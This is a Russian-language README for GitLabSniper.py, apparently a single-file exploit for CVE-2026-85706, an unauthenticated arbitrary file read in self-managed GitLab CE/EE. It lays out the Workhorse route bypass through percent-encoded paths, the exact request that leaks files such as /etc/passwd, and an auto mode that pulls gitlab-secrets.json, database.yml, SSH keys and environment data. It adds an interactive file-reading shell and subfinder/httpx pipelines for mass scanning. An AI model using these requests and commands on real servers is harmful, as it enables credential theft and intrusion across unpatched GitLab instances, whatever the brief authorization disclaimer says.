
Однофайловый сканер и эксплойт на Python для CVE-2026-85706 — неаутентифицированного произвольного чтения файлов в self-managed GitLab CE/EE, с перечислением проектов, путями для сбора данных и интерактивной оболочкой.
CVE-2026-85706 — неаутентифицированное чтение произвольных файлов в GitLab CE/EE
обнаружение · перечисление публичных проектов · сбор данных · интерактивная оболочка · конвейер subfinder/httpx
Автор: Yunus Emre Öztaş (mitsec)
X: x.com/ynsmroztas
GitHub: github.com/ynsmroztas
Сайт: ynsmroztas.github.io
Почта: [email protected]
Используйте только на системах, которыми вы владеете или на которые у вас есть явное разрешение на тестирование (bug bounty / VDP / письменный договор).
GitLabSniper.py — это однофайловый сканер/эксплойт на Python для CVE-2026-85706: неаутентифицированное чтение локальных файлов в самостоятельно размещённых GitLab Community Edition и Enterprise Edition.
Он не останавливается на «версия выглядит уязвимой». Он запускает обход парсерного расхождения Workhorse, классифицирует ответ Rails и выводит FILE LEAK только тогда, когда тело ответа 400 содержит байты файла внутри invalid %-encoding (...).
| Диапазон | Версии |
|---|---|
| Уязвимы | 18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1 |
| Исправлены | 19.1.8 / 19.2.6 / 19.3.2 (2026-09-10) |
| Вне области | gitlab.com · GitLab Dedicated |
Три эндпоинта репозитория находятся за Workhorse requestBodyUploader:
POST /api/v4/projects/:id/repository/commitsPOST /api/v4/projects/:id/repository/files/:file_pathPUT /api/v4/projects/:id/repository/files/:file_pathRails берёт необработанное поле file.path и выполняет File.open до authenticate!. require_gitlab_workhorse! здесь не является реальным барьером: Workhorse уже проставляет валидный JWT Gitlab-Workhorse-Api-Request на всё, что проксирует.
Workhorse должен был сначала переписать загрузку. Его regex маршрута сопоставляется с EscapedPath() и клоном path.Clean, который никогда не выполняет percent-декодирование. Puma выполняет декодирование %XX перед маршрутизацией Grape.
Attacker
POST /api/v4/projects/35/repository/%63ommits
POST /api/v4/projects/35/repository/commits/ ← завершающий слэш тоже проходит
?file=&file.path=/etc/passwd&file.size=1
&Content-Type=application/x-www-form-urlencoded
│
▼
Workhorse regex видит "%63ommits" / "commits/" → ПРОМАХ (без перезаписи)
│
▼
Puma декодирует %63 → commits → МАРШРУТИЗИРУЕТ в Rails
│
▼
Rails File.open(params[:file][:path]) → ДО аутентификации
│
▼
Rack parse_nested_query(File.read(path))
одиночный "%", не являющийся %HH
│
▼
HTTP 400 Invalid parameter: invalid %-encoding (<сырые байты файла>)
Пустой file= удовлетворяет requires :file, WorkhorseFile (пустое → nil). Канал утечки — ветка urlencoded. JSON/Oj не отражает байты файла таким же образом — инструмент всегда отправляет Content-Type=application/x-www-form-urlencoded.
//, /./, %2F и ; не обходят защиту: path.Clean нормализует первые два, а Puma отклоняет %2F.
Идентификатор проекта — это не «из какого репозитория красть файлы». file.path — это абсолютный путь на сервере. Идентификатор — лишь часть URL, которая достигает уязвимого контроллера.
| Эндпоинт | Требование к проекту |
|---|---|
files (%66iles) | Часто подходит любой id — File.open выполняется до проверок проекта |
commits (%63ommits, commits/, commits.json) | Нужен проект, к которому анонимный пользователь может read_code. Иначе 404 Project Not Found |
Именно поэтому инструмент перечисляет GET /api/v4/projects и пропускает закрытые id.
Подтверждённая утечка требует наличия этой подстроки в теле:
invalid %-encoding (
Файлы без одиночного % всё ещё могут быть открыты (read-noecho / позже branch is required), но не будут отражены. Это оракул, а не дамп, пригодный для отчёта.
x-gitlab-* / sign-in) + диапазон версий, когда виденGET /api/v4/projects)1..7)%63ommits · %72epository · %66iles/ · .jsonleak · leak-fragment · read-noecho · missing · project-gate · rewrite · noroute--auto (hostname, passwd, secrets.yml, gitlab-secrets.json, gitlab.rb, database.yml, ssh-ключи, environ)cat, loot, secrets, passwd, project <id>, curl)httpx -sc -td -title, httpx -json, удаление ANSI-o)pip install requests
python3 GitLabSniper.py -h
Python 3.10+. Других зависимостей нет.
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto
python3 GitLabSniper.py -u https://gitlab.example.com --shell
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit
subfinder -d example.com -silent \
| httpx -silent -sc -td -title \
| python3 GitLabSniper.py --pipe --auto -o hits.jsonl
subfinder -d example.com -silent \
| httpx -silent -json \
| python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl
# stdin не является TTY → --pipe подразумевается
cat hosts.txt | python3 GitLabSniper.py --auto
Парсер принимает:
https://gitlab.example.comhttps://gitlab.example.com [200] [GitLab] [nginx]httpx -json (url / status_code)host и host:port[0] / timeout / пустые